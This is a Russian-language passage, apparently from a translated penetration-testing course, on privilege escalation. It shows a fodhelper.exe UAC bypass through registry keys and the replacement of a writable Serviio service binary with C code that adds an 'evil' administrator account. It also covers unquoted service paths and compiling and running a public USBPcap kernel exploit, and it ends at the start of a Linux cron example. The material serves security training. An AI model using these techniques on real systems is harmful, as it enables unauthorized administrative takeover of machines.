Листинг 45 - Успешное изменение пароля администратора после запуска cmd.exe с высоким уровнем безопасности (high integrity)
На этот раз мы работаем с высоким уровнем безопасности, и смена пароля прошла успешно.
Обход User Account Control (UAC): изучение примера с fodhelper.exe
UAC можно обойти различными способами. В этом первом примере будет продемонстрирована техника, которая позволяет администратору обойти UAC, незаметно поднимая уровень безопасности со среднего до высокого.
Большинство общеизвестных методов обхода UAC нацелены на конкретную версию операционной системы. В данном случае целью является наш тестовый клиент под управлением Windows 10 build 1709. Мы используем интересный UAC-обход, основанный на fodhelper.exe (ссылки на материалы
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
), приложении поддержки Microsoft, отвечающем за управление языковыми изменениями в операционной системе. В частности, это приложение запускается всякий раз, когда локальный пользователь выбирает опцию "Manage optional features" (Управление дополнительными функциями) в окне "Apps & functions" Windows Settings.Рисунок 2: Управление дополнительными функциями
Как скоро будет видно, файл
Ссылка скрыта от гостей
работает с правами высокой безопасности (high integrity) в Windows 10 1709. Это можно применить для обхода UAC, используя механизм взаимодействия fodhelper с реестром Windows. Точнее, он взаимодействует с ключами реестра, которые могут быть изменены без администраторских привилегий. Попытаемся найти и изменить эти ключи реестра, чтобы выполнить любую команду с уровнем высокой безопасности (high integrity).Ссылка скрыта от гостейпредставляет собой иерархическую базу данных, в которой хранится важная информация для операционной системы и для приложений, использующих реестр. Реестр хранит настройки, опции и другую различную информацию в иерархической древовидной структуре,Ссылка скрыта от гостей.
Начнем анализ с запуска двоичного файла C:\Windows\System32\fodhelper.exe, представленного в панели "Manage Optional Features settings" (Управление дополнительными функциями):
Рисунок 3: Запуск fodhelper.exe из командной строки
Для того, чтобы собрать подробную информацию об уровне безопасности fodhelper и разрешениях, необходимых для запуска этого процесса, рассмотрим его
Ссылка скрыта от гостей
. Манифест приложения представляет собой XML-файл, содержащий информацию, позволяющую операционной системе знать, как работать с программой при ее запуске. Рассмотрим манифест с помощью утилиты sigcheck из
Ссылка скрыта от гостей
, передав аргумент -a для получения расширенной информации и -m для дампа манифеста.
Код:
C:\> cd C:\Tools\privilege_escalation\SysinternalsSuite
C:\Tools\privilege_escalation\SysinternalsSuite> sigcheck.exe -a -m C:\Windows\System32\fodhelper.exe
c:\windows\system32\fodhelper.exe:
Verified: Signed
Signing date: 4:40 AM 9/29/2017
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Features On Demand Helper
Product: Microsoft« Windows« Operating System
Prod version: 10.0.16299.15
File version: 10.0.16299.15 (WinBuild.160101.0800)
MachineType: 32-bit
Binary Version: 10.0.16299.15
Original Name: FodHelper.EXE
Internal Name: FodHelper
Copyright: ® Microsoft Corporation. All rights reserved.
Comments: n/a
Entropy: 6.306
Manifest:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
xmlns="urn:schemas-microsoft-com:asm.v1"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
manifestVersion="1.0">
<assemblyIdentity type="win32" publicKeyToken="6595b64144ccf1df"
name="Microsoft.Windows.FodHelper" version="5.1.0.0"
processorArchitecture="x86"/>
<description>Features On Demand Helper UI</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="requireAdministrator"
/>
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings
xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
Листинг 46 - Проверка application manifest файла fodhelper.exe с использованием sigcheck.exe
Беглый просмотр результатов показывает, что приложение предназначено для запуска административными пользователями и, как таковое, требует полного
Ссылка скрыта от гостей
(access token). Кроме того, флаг
Ссылка скрыта от гостей
установлен в true, что позволяет исполняемому файлу автоматически подниматься на высокий уровень безопасности (high integrity) без запроса согласия администратора.Можно использовать
Ссылка скрыта от гостей
из набора Sysinternals для сбора дополнительной информации об этом инструменте.Process Monitor является незаменимым инструментом, когда нашей целью является понимание того, как конкретный процесс взаимодействует с файловой системой и реестром Windows. Это отличный инструмент для выявления таких проблем, как перехват реестра,Ссылка скрыта от гостейи многое другое.
После запуска procmon.exe снова запустим fodhelper.exe и установим фильтры, которые будут сфокусированы на действиях, выполняемых целевым процессом.
Рисунок 4: Фильтр по имени процесса в Procmon
Этот фильтр значительно уменьшил объем выводимых данных, но в этой специфической уязвимости нас интересует только то, как это приложение взаимодействует с ключами реестра, которые могут быть изменены текущим пользователем. Чтобы уточнить результаты, настроим фильтр с помощью поиска по "Reg", который Procmon использует для маркировки операций реестра.
Рисунок 5: Фильтр по операцц в Procmon
После добавления нового фильтра необходимо увидеть результаты только для операций с реестром. На Рисунке 6 показан сокращенный результат Process Monitor в результате добавления двух наших фильтров.
Рисунок 6: Результат работы фильтров по имени процесса и операции в Procmon
Это приемлемые результаты, но нам необходимо еще больше сузить круг поиска. В частности, мы хотим посмотреть, пытается ли приложение fodhelper получить доступ к несуществующим записям реестра. Если это так, и разрешения этих ключей реестра позволяют это сделать, то мы, возможно, сможем взломать эти записи и потенциально помешать действиям, которые пытается выполнить целевой процесс с высоким уровнем безопасности.
Чтобы еще раз сузить поиск, запустим приложение заново и добавим фильтр "Result" для строки "NAME NOT FOUND" - сообщение об ошибке, указывающее на то, что приложение пытается получить доступ к записи реестра, которой не существует.
Рисунок 7: Фильтр по Result в Procmon
Вывод показывает, что fodhelper.exe на самом деле генерирует ошибку "NAME NOT FOUND" - индикатор потенциально уязвимой записи в реестре.
Рисунок 8: Фильтр по результату Result в Procmon
Однако, поскольку мы не можем произвольно изменять записи реестра в каждой ветви, нам нужно сосредоточиться на ветви реестра, которую мы можем контролировать. В этом случае, сконцентрируемся на ветви HKEY_CURRENT_USER (HKCU), к которой у нас, текущего пользователя, есть доступ на чтение и запись:
Рисунок 9: Фильтр по Path в Procmon
Применение этого дополнительного фильтра дает следующие результаты:
Рисунок 10: fodhelper.exe ищет command value
Согласно результатам этой работы, видим кое-что довольно интересное. Приложение fodhelper.exe пытается запросить ключ реестра HKCU:\Software\Classes\ms-settings\shell\open\command, который, судя по всему, не существует.
Чтобы лучше понять, почему это происходит и для чего именно используется этот ключ реестра, изменим нашу проверку под Path и будем специально искать любой доступ к записям, содержащим ms-settings\shell\open\command. Если процесс может успешно получить доступ к этому ключу в каком-то другом hive, результаты дадут нам больше подсказок.
Рисунок 11: Путь исполнения shell\\open\\command
Этот вывод содержит интересный результат. Когда fodhelper не находит регистрационный ключ mssettings\shell\open\command в HKCU, он сразу же пытается получить доступ к этому же
Ссылка скрыта от гостей
. Так как эта запись действительно существует, доступ успешен.Если поищем HKCR:ms-settings\shell\open\command в реестре, то найдем существующую запись:
Рисунок 12: Запись реестра DelegateExecute
Основываясь на этом наблюдении и после поиска в
Ссылка скрыта от гостей
этого формата ключа реестра (application-name\shell\open), можно сделать вывод, что fodhelper открывает раздел приложения Windows Settings (скорее всего, Manage Optional Features, представленного пользователю при запуске fodhelper) через
Ссылка скрыта от гостей
. Протокол приложения в Windows определяет исполняемый файл, который будет запущен, когда программа использует определенный URL. Эти сопоставления URLApplication могут быть определены через записи реестра, подобные ключу ms-settings, который был найден в HKCR (Рисунок 12 выше). В данном конкретном случае схема протокола приложения для ms-settings передает выполнение не программе, а
Ссылка скрыта от гостей
. Это можно сделать, установив значение ключа
Ссылка скрыта от гостей
в конкретный идентификатор класса COM, как подробно описано в документации MSDN.Это несомненно интересно, потому что fodhelper сначала пытается получить доступ к ключу реестра ms-setting в hive HKCU. Предыдущие результаты Process Monitor ясно показали, что этого ключа не существует в HKCU, но нам необходимо иметь необходимые разрешения для его создания. Это может позволить перехватить выполнение через правильно отформатированный обработчик протокола. Попробуем добавить этот ключ с помощью
Ссылка скрыта от гостей
:
Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
The operation completed successfully.
C:\Users\admin>
Листинг 47 - Добавляем значение command в реестр
После того, как добавили ключ реестра, очистим все результаты из Process Monitor (используя иконку, выделенную на рисунке 13), перезапустим fodhelper.exe и будем следить за активностью процесса:
Рисунок 13: Очистка окна вывода Process Monitor
Пожалуйста, обратите внимание, что очистка окна вывода НЕ очищает созданные нами фильтры. Они сохраняются, и нам не нужно их восстанавливать.
Рисунок 14: Окно вывода Process Monitor
На рисунке выше показано, что на этот раз fodhelper.exe пытается запросить значение (DelegateExecute), хранящееся в нашем только что созданном ключе command. Этого не происходило до того, как мы создали наш поддельный ключ протокола приложения. Однако, поскольку мы не хотим перехватывать выполнение через COM-объект, добавим запись DelegateExecute, оставив ее значение пустым. Мы надеемся, что когда fodhelper обнаружит это пустое значение, он будет следовать спецификациям MSDN для протоколов приложений и будет искать программу для запуска, указанную в ключевой записи Shell\Open\command\Default.
Будем использовать REG ADD с аргументом /v для указания имени значения и /t для указания типа:
Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v Delega
teExecute /t REG_SZ
The operation completed successfully.
Листинг 48 - Добавляем значение DelegateExecute в ключ реестра command
Для проверки того, что fodhelper успешно обращается к только что добавленной записи DelegateExecute, удалим фильтр "NAME NOT FOUND" и заменим его на "SUCCESS", чтобы показать только успешные операции и заново запустии процесс:
Рисунок 15: fodhelper.exe ожидает (Default) значение в ключе реестра command
Как и ожидалось, fodhelper находит новую запись DelegateExecute, которую была добавлена, но так как ее значение пустое, она также ищет (Default) значение записи реестра Shell\open\command. Значение записи (Default) создается как ноль автоматически при добавлении любого ключа реестра. Будем следовать спецификациям протокола приложения и заменим пустое (Default) значение на исполняемый файл по нашему выбору, cmd.exe. Это должно заставить fodhelper обрабатывать ms-settings: протокол нашим собственным исполняемым файлом!
Чтобы проверить эту теорию, установим новое значение реестра. Укажем новое значение реестра с помощью /d "cmd.exe" и /f, чтобы добавить значение незаметно.
Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
The operation completed successfully.
Листинг 49 - Установка (Default) значения в cmd.exe
После установки значения и повторного запуска fodhelper.exe получаем командный шелл:
Рисунок 16: Выполнение высокопривилегированной команды cmd.exe через fodhelper.exe
Вывод команды whoami /groups указывает на то, что это командный интерпретатор с высоким уровнем безопасности. Далее попытаемся изменить пароль администратора, чтобы посмотреть, можем ли успешно обойти UAC:
Код:
C:\Windows\system32> net user admin Ev!lpass
The command completed successfully.
Листинг 50 - Успешное изменение пароля пользователя admin после запуска cmd.exe с высоким уровнем безопасности с помощью fodhelper.exe
Смена пароля прошла успешно и мы успешно обошли UAC!
Эта атака не только демонстрирует потрясающий обход UAC, но и раскрывает процесс, с помощью которого возможно обнаружить подобные обходы.
Небезопасные права доступа к файлам: изучение примера Serviio
Как упоминалось ранее, обычным способом повышения привилегий в системе Windows является использование небезопасных файловых прав доступа для служб, которые работают от имени nt authority\system.
Например, рассмотрим сценарий, в котором разработчик программного обеспечения создает программу, работающую как служба Windows. Во время установки разработчик не защищает права доступа программы, разрешая полный доступ на чтение и запись всем членам группы
Ссылка скрыта от гостей
. В результате, низкопривилегированный пользователь может заменить программу на вредоносную. При перезапуске службы или перезагрузке машины вредоносный файл будет выполняться с привилегиями SYSTEM.Такой тип уязвимости существует на нашем клиенте Windows. Давайте проверим уязвимость и воспользуемся ею.
В одной из предыдущих подглав было показано, как просмотреть список запущенных служб с помощью tasklist. В качестве альтернативы можно было бы использовать команду PowerShell Get-WmiObject с классом win32_service WMI. В этом примере передадим вывод в Select-Object для отображения интересующих нас полей и используем Where-Object для отображения запущенных служб ({$_.State -like 'Running'}}):
Код:
PS C:\Users\student> Get-WmiObject win32_service | Select-Object Name, State, PathName
| Where-Object {$_.State -like 'Running'}
Name State PathName
---- ----- --------
AudioEndpointBuilder Running C:\Windows\System32\svchost.exe -k LocalSystemNetworkRes
Audiosrv Running C:\Windows\System32\svchost.exe -k LocalServiceNetworkRe
...
Power Running C:\Windows\system32\svchost.exe -k DcomLaunch
ProfSvc Running C:\Windows\system32\svchost.exe -k netsvcs
RpcEptMapper Running C:\Windows\system32\svchost.exe -k RPCSS
RpcSs Running C:\Windows\system32\svchost.exe -k rpcss
SamSs Running C:\Windows\system32\lsass.exe
Schedule Running C:\Windows\system32\svchost.exe -k netsvcs
SENS Running C:\Windows\system32\svchost.exe -k netsvcs
Serviio Running C:\Program Files\Serviio\bin\ServiioService.exe
ShellHWDetection Running C:\Windows\System32\svchost.exe -k netsvcs
...
Листинг 51 - Список запущенных сервисов в Windows, полученный с помощью PowerShell
На основании этого вывода служба Serviio выделяется тем, что установлена в каталоге Program Files. Это означает, что сервис установлен пользователем, а разработчик программного обеспечения отвечает за структуру каталога, а также за права доступа к нему. Эти обстоятельства делают его более подверженным подобным уязвимостям.
В качестве следующего шага составим список прав доступа к целевой службе с помощью утилиты
Ссылка скрыта от гостей
. Эта утилита выведет идентификаторы безопасности службы (или
Ссылка скрыта от гостей
) с последующей маской прав доступа, которые определены в документации
Ссылка скрыта от гостей
. Ниже перечислены наиболее актуальные маски и права доступа:
Код:
| Mask | Permissions |
|-------- |---------------------------|
| F | Full access |
| M | Modify access |
| RX | Read and execute access |
| R | Read-only access |
| W | Write-only access |
Таблица 1 - Маска прав доступа icacls
Можно запустить icacls, передав в качестве аргумента полное название службы. В выводе команды будут перечислены соответствующие права доступа:
Код:
C:\Users\student> icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C:\Program Files\Serviio\bin\ServiioService.exe BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPL
ICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Листинг 52 - Результат работы icacls для сервиса ServiioService.exe
Как и предполагалось, права доступа, связанные с исполняемым файлом ServiioService.exe, весьма интересны. В частности, оказывается, что любой пользователь (BUILTIN\Users) в системе имеет полный доступ на чтение и запись. Это
Ссылка скрыта от гостей
.Для того, чтобы использовать этот тип уязвимости, можно заменить ServiioService.exe на наш собственный вредоносный двоичный файл, а затем запустить его, перезапустив службу или перезагрузив машину.
Продемонстрируем эту атаку на примере. Следующий код на C создаст пользователя с именем "evil" и добавит этого пользователя в группу локальных администраторов с помощью функции
Ссылка скрыта от гостей
. Скомпилированная версия этого кода будет служить нашим вредоносным двоичным кодом:
Код:
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass /add");
i = system ("net localgroup administrators evil /add");
return 0;
}
Листинг 53 - Код adduser.c
Далее
Ссылка скрыта от гостей
код на нашей машине Кали с помощью i686-w64-mingw32-gcc, используя -o для указания имени скомпилированного исполняемого файла:kali@kali:~$i686-w64-mingw32-gcc adduser.c -o adduser.exe
Листинг 54 - Компиляция кода adduser.c
Можно перенести его на нашу цель и заменить оригинальный бинарный файл ServiioService.exe на нашу вредоносную копию:
Код:
C:\Users\student> move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe"
1 file(s) moved.
C:\Users\student> move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"
1 file(s) moved.
C:\Users\student> dir "C:\Program Files\Serviio\bin\"
Volume in drive C has no label.
Volume Serial Number is 56B9-BB74
Directory of C:\Program Files\Serviio\bin
01/26/2018 07:21 AM <DIR> .
01/26/2018 07:21 AM <DIR> ..
12/04/2016 08:30 PM 867 serviio.bat
01/26/2018 07:19 AM 48,373 ServiioService.exe
12/04/2016 08:30 PM 10 ServiioService.exe.vmoptions
12/04/2016 08:30 PM 413,696 ServiioService_original.exe
4 File(s) 462,946 bytes
2 Dir(s) 3,826,667,520 bytes free
Листинг 55 - Замена ServiioService.exe нашим вредоносным файлом
Чтобы запустить наш файл, можно попытаться перезапустить службу.
Код:
C:\Users\student> net stop Serviio
System error 5 has occurred.
Access is denied.
Листинг 56 - Попытка перезапуска службы и перезапуск компьютера
К сожалению, у нас, похоже, не хватает привилегий, чтобы остановить службу Serviio. Этого следовало ожидать, так как большинство сервисов управляются административными пользователями.
Поскольку у нас нет разрешения на ручной перезапуск службы, необходимо подумать о другом подходе. Если служба установлена на "Автоматически", и можно перезапустить службу, перезагрузив машину. Давайте проверим варианты запуска службы Serviio с помощью командной строки
Ссылка скрыта от гостей
Код:
C:\Users\student>wmic service where caption="Serviio" get name, caption, state, startmode
Caption Name StartMode State
Serviio Serviio Auto Running
Листинг 57 - Просмотр StartMode уязвимого сервиса
Этот сервис будет автоматически запущен после перезагрузки. Теперь воспользуемся командой whoami, чтобы определить, имеет ли наш текущий пользователь права на перезагрузку системы:
Код:
C:\Users\student>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Листинг 58 - Проверка возможности перезагрузки системы
Приведенный выше список показывает, что нашему пользователю были предоставлены права выключения (
Ссылка скрыта от гостей
) (среди прочего), и поэтому мы должны быть в состоянии инициировать выключение или перезагрузку системы. Обратите внимание, что состояние Disabled указывает только на то, включена ли в данный момент привилегия для выполняющегося процесса. В нашем случае это означает, что whoami не запрашивала и, следовательно, в данный момент не использует привилегию SeShutdownPrivilege.Если бы SeShutdownPrivilege не было, пришлось бы ждать, пока жертва вручную запустит службу, что было бы гораздо менее удобно для нас.
Перезагрузимся (/r) через 0 секунд (/t 0):
C:\Users\student\Desktop> shutdown /r /t 0
Листинг 59 - Перезапуск компьютера
Теперь, когда перезагрузка завершена, должна появиться возможность войти на целевую машину, используя имя пользователя "evil" с паролем "Ev!lpass". После этого с помощью команды net localgroup можно подтвердить, что пользователь evil входит в группу локальных администраторов.
Код:
C:\Users\evil> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
admin
Administrator
corp\Domain Admins
corp\offsec
evil
The command completed successfully.
Листинг 60 - Пользователь “evil” является членом группы Administrators
Замечательно. Были использованы небезопасные файловые права доступа, чтобы заменить служебную программу на наш собственный вредоносный бинарный файл, который при запуске предоставил нам административный доступ к системе.
Использование неквотированного (не заключенному в кавычки) пути к сервису (Leveraging Unquoted Service Paths)
Еще один интересный вектор атаки, который может привести к повышению привилегий на операционных системах Windows, связан с отсутствием кавычек в пути к службам (
Ссылка скрыта от гостей
). Можно использовать эту атаку, когда имеем права на запись в основной каталог и подкаталоги службы, но не можем заменить в них файлы.Как было показано в прошлой подглаве, каждая служба Windows сопоставляет исполняемый файл, который будет запущен при запуске службы. Чаще всего службы, сопровождающие стороннее программное обеспечение, хранятся в директории C:\\Program Files, которая содержит символ пробела в своем названии. Потенциально это может быть использовано для атаки на повышение привилегий.
При использовании путей к файлам или каталогам, которые содержат пробелы, разработчики всегда должны убедиться, что
Ссылка скрыта от гостей
. Это гарантирует их явное объявление. Однако, когда это не так и имя пути не заключено в кавычки, оно может быть изменено. В частности, в случае с исполняемыми путями, всё, что приходит после каждого символа пробела, будет рассматриваться как потенциальный аргумент или опция для исполняемого файла.Например, представьте, что у нас есть служба, хранящаяся в таком пути, как C:\Program Files\My Files\My Program\My Service\service.exe. Если путь службы хранится без кавычек, всякий раз, когда Windows запускает службу, она будет пытаться запустить исполняемый файл по следующим путям:
Код:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Листинг 61 - Пример того, как Windows будет искать правильный путь к сервису, чей путь указан без кавычек
В этом примере Windows будет искать каждое "интерпретированное место" в попытке найти правильный путь к исполняемому файлу. Для того, чтобы использовать это и отменить исходный вызов службы без кавычек, необходимо создать вредоносный исполняемый файл, поместить его в директорию, соответствующую одному из интерпретированных путей, и назвать его так, чтобы он также совпадал с интерпретированным именем файла. Затем, когда служба запустится, она должна выполнить наш файл с теми же привилегиями, с которыми запускается служба. Часто случается так, что это учетная запись NT\SYSTEM, что приводит к успешной атаке на повышение привилегий.
Например, можно назвать исполняемый файл Program.exe и поместить его в C:\, или назвать его My.exe и поместить его в C:\Program Files. Однако для этого потребуются некоторые маловероятные разрешения на запись, поскольку стандартные пользователи не имеют доступа на запись в эти каталоги по умолчанию.
Скорее всего, основной каталог программы (C:\Program Files\My Program в нашем примере) или подкаталог (C:\Program Files\My Files\My Program\My service) неправильно настроен, что позволит создать вредоносный бинарный файл My.exe.
Несмотря на то, что данная уязвимость требует особого сочетания требований, она легко поддается эксплуатации и является заслуживающим внимания вектором атаки на повышение привилегий.
Уязвимости ядра Windows: изучение примера USBPcap
В предыдущем примере fodhelper.exe была использована уязвимость приложения для обхода UAC. В этом разделе будет продемонстрировано повышение привилегий, зависящее от уязвимости драйвера ядра.
При попытке использовать программное обеспечение системного уровня (такое как драйверы или само ядро), необходимо обратить внимание на несколько факторов, включая операционную систему, версию и архитектуру целевой системы. В случае неточного определения этих факторов во время выполнения эксплойта может произойти срабатывание
Ссылка скрыта от гостей
. Это может негативно повлиять на производственную систему клиента и лишить нас доступа к потенциально важной цели.Учитывая уровень осторожности, которую необходимо проявлять, в следующем примере сначала определим версию и архитектуру целевой операционной системы.
Код:
C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
System Type: X86-based PC
Листинг 62 - Проверка версии и архитектуры ОС нашей цели
Результаты команды показывают, что наша цель работает под управлением Windows 7 SP1 на процессоре x86.
На данный момент можно попытаться обнаружить уязвимость самого ядра для Windows 7 SP1 x86 и использовать ее для повышения наших привилегий. Однако эксплойты драйверов сторонних производителей встречаются чаще. Поэтому всегда необходимо пытаться исследовать эту поверхность атаки, прежде чем прибегать к более сложным атакам.
Для этого сначала рассмотрим драйверы, установленные в системе:
Код:
C:\Users\student\Desktop>driverquery /v
Module Name Display Name Description Driver Type Start M
ode State Status Accept Stop Accept Pause Paged Pool Code(bytes BSS(by
Link Date Path Init(byt
es
============ ====================== ====================== ============= =======
=== ========== ========== =========== ============ ========== ========== ======
====================== ================================================ ========
==
ACPI Microsoft ACPI Driver Microsoft ACPI Driver Kernel Boot
Running OK TRUE FALSE 77,824 143,360 0
11/20/2010 12:37:52 AM C:\Windows\system32\drivers\ACPI.sys 8,192
...
USBPcap USBPcap Capture Servic USBPcap Capture Servic Kernel Manual
Stopped OK FALSE FALSE 7,040 9,600 0
10/2/2015 2:08:15 AM C:\Windows\system32\DRIVERS\USBPcap.sys 2,176
...
Листинг 63 - Список установленных драйверов
Вывод состоит из типичных драйверов Microsoft и небольшого количества драйверов сторонних производителей, таких как USBPcap. Важно отметить, что несмотря на то, что этот драйвер помечен как остановленный, все равно можно взаимодействовать с ним, так как он загружен в пространство памяти ядра.
Поскольку драйверы Microsoft довольно часто обновляются, драйверы сторонних производителей представляют собой более заманчивую цель для атак. Например, давайте поищем USBPcap в Exploit Database:
Код:
kali@kali:~# searchsploit USBPcap
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
USBPcap 1.1.0.0 (WireShark 2.2.5) - Lo | exploits/windows/local/41542.c
--------------------------------------- ----------------------------------------
Листинг 64 - Вывод команды searchsploit для “USBPcap”
В результате выдается сообщение о наличии одного эксплойта, доступного для USBPcap. Как показано в Листинге 65, этот
Ссылка скрыта от гостей
нацелен на нашу версию операционной системы, уровень патча и архитектуру. Однако это зависит от конкретной версии драйвера, а именно от USBPcap версии 1.1.0.0, который устанавливается вместе с Wireshark 2.2.5.
Код:
Exploit Title - USBPcap Null Pointer Dereference Privilege Escalation
Date - 07th March 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://desowin.org/usbpcap/
Tested Version - 1.1.0.0 (USB Packet cap for Windows bundled with WireShark 2.2.5)
Driver Version - 1.1.0.0 - USBPcap.sys
Tested on OS - 32bit Windows 7 SP1
CVE ID - CVE-2017-6178
Vendor fix url - not yet
Fixed Version - 0day
Fixed driver ver - 0day
...
Листинг 65 - Информация об эксплоите USBPcap
Посмотрим на целевую систему, чтобы узнать версию драйвера.
Для начала просмотрим содержимое каталога Program Files в поисках каталога USBPcap:
Код:
C:\Users\n00b> cd "C:\Program Files"
C:\Program Files> dir
...
08/13/2015 04:04 PM <DIR> MSBuild
07/14/2009 06:52 AM <DIR> Reference Assemblies
01/24/2018 02:30 AM <DIR> USBPcap
12/22/2017 04:11 PM <DIR> VMware
04/12/2011 04:16 AM <DIR> Windows Defender
...
Листинг 66 - Поиск директории USBPcap
Как видно, в C:\Program Files есть каталог USBPcap. Однако следует помнить, что каталог драйвера часто находится в C:\Windows\System32\DRIVERS. Посмотрим
Ссылка скрыта от гостей
, чтобы узнать больше о версии драйвера:
Код:
C:\Program Files\USBPcap> type USBPcap.inf
[Version]
Signature = "$WINDOWS NT$"
Class = USB
ClassGuid = {36FC9E60-C465-11CF-8056-444553540000}
DriverPackageType = ClassFilter
Provider = %PROVIDER%
CatalogFile.NTx86 = USBPcapx86.cat
CatalogFile.NTamd64 = USBPcapamd64.cat
DriverVer=10/02/2015,1.1.0.0
[DestinationDirs]
DefaultDestDir = 12
...
Листинг 67 - Содержимое файла USBPcap.inf
Основываясь на информации о версии, наш драйвер должен быть уязвим. Перед тем, как попытаться его эксплуатировать, сначала необходимо скомпилировать эксплойт, так как он написан на C.
Компиляция C/C++ кода в Windows
Подавляющее большинство эксплойтов, нацеленных на уязвимости уровня ядра (в том числе и выбранный нами), написаны на низкоуровневом языке программирования, таком как C или C++, и поэтому требуют компиляции. В идеальном случае, скомпилируем код на той версии платформы, на которой он предназначен для запуска. В подобных случаях была бы просто создана виртуальная машина, аналогичная целевой, и скомпилирован код на ней. Вместе с тем, можно скомпилировать код на операционной системе, полностью отличной от той, на которую нацелены. Например, можно скомпилировать двоичный файл Windows на нашей системе Кали.
Однако в данном случае будет использован
Ссылка скрыта от гостей
, который предоставляет нам компилятор GCC на Windows.Поскольку в нашем Windows-клиенте предустановлен Mingw-w64, можно запустить скрипт mingw-w64.bat, который устанавливает переменную окружения PATH для исполняемого файла gcc. После завершения работы скрипта мы можем выполнить gcc.exe, чтобы убедиться, что все работает правильно:
Код:
C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1> mingw-w64.bat
C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1>echo off
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\> gcc
gcc: fatal error: no input files
compilation terminated.
C:\> gcc --help
Usage: gcc [options] file...
Options:
-pass-exit-codes Exit with highest error code from a phase.
--help Display this information.
--target-help Display target specific command line options.
--help={common|optimizers|params|target|warnings|[^]{joined|separate|undocumented}}[
Display specific types of command line options.
(Use '-v --help' to display command line options of sub-processes).
--version Display compiler version information.
...
Листинг 68 - gcc работает после запуска mingw-w64.bat
Хорошо. Кажется, компилятор работает. Теперь перенесем код эксплойта на наш Windows-клиент и попытаемся его скомпилировать. Поскольку автор не упомянул никаких конкретных опций компиляции, мы попытаемся запустить gcc без каких-либо аргументов, кроме указания имени выходного файла с помощью -o:
Рисунок 17: Компиляция эксплоита с использованием gcc
Несмотря на два
Ссылка скрыта от гостей
, эксплойт успешно скомпилировался и gcc создал исполняемый файл exploit.exe. Если бы процесс выдал сообщение об ошибке, компиляция была бы прервана, и нам пришлось бы попытаться исправить код эксплойта и перекомпилировать его.Теперь, когда эксплойт был скомпилирован, можно перенести его на нашу целевую машину и попытаться его запустить. Для того, чтобы определить, было ли успешное повышение привилегий, можно использовать команду whoami до и после выполнения эксплойта:
Рисунок 18: Повышение привилегий в Windows с использованием эксплоита
Здорово! Привилегии были успешно повышены с admin-pc\n00b
Ссылка скрыта от гостей
, это учетная запись Windows с наивысшим уровнем привилегий.Примеры повышения привилегий в Linux
В этом разделе обратим внимание на цели под управлением Linux. Обсудим привилегии Linux и продемонстрируем несколько распространенных методов повышения привилегий в Linux.
Введение в привилегии Linux
Прежде чем обсуждать техники эскалации привилегий, давайте кратко обсудим привилегии Linux, контроль доступа и пользователей.
Одной из определяющих особенностей Linux и других производных UNIX является то, что большинство ресурсов, включая файлы, каталоги, устройства и даже сетевые связи,
Ссылка скрыта от гостей
.Идеология Linux: "все есть файл". Каждый файл (и, соответственно, каждый элемент системы Linux) подчиняется
Ссылка скрыта от гостей
, основанным на трех основных возможностях: чтении, записи и исполнении.Небезопасные права доступа к файлу: изучение примера Cron
Переходя к методам повышения привилегий, мы сначала рассмотрим использование небезопасных файловых прав доступа. Как и в случае с нашими примерами Windows, мы предположим, что мы уже получили доступ к нашей целевой машине Linux в качестве непривилегированного пользователя.
Для того, чтобы использовать небезопасные файловые права доступа, мы должны найти исполняемый файл, который не только позволяет нам получить доступ на запись, но и запускается с повышенным уровнем привилегий. В системе Linux, cron [543](https://en.wikipedia.org/wiki/Cron) планировщик заданий по времени является основной целью, так как системные запланированные задания выполняются с привилегиями пользователя root, а системные администраторы часто создают скрипты для заданий cron с небезопасными правами доступа.
Для целей этого примера будем использовать SSH к нашему выделенному клиенту Debian. В предыдущем разделе было показано, где искать в файловой системе установленные задания cron в целевой системе. Аналогично можно проверить файл журнала cron (/var/log/cron.log) на наличие заданий cron:
Код:
student@debian:~$ grep "CRON" /var/log/cron.log
Jan27 15:55:26 victim cron[719]: (CRON) INFO (pidfile fd = 3)
Jan27 15:55:26 victim cron[719]: (CRON) INFO (Running @reboot jobs)
...
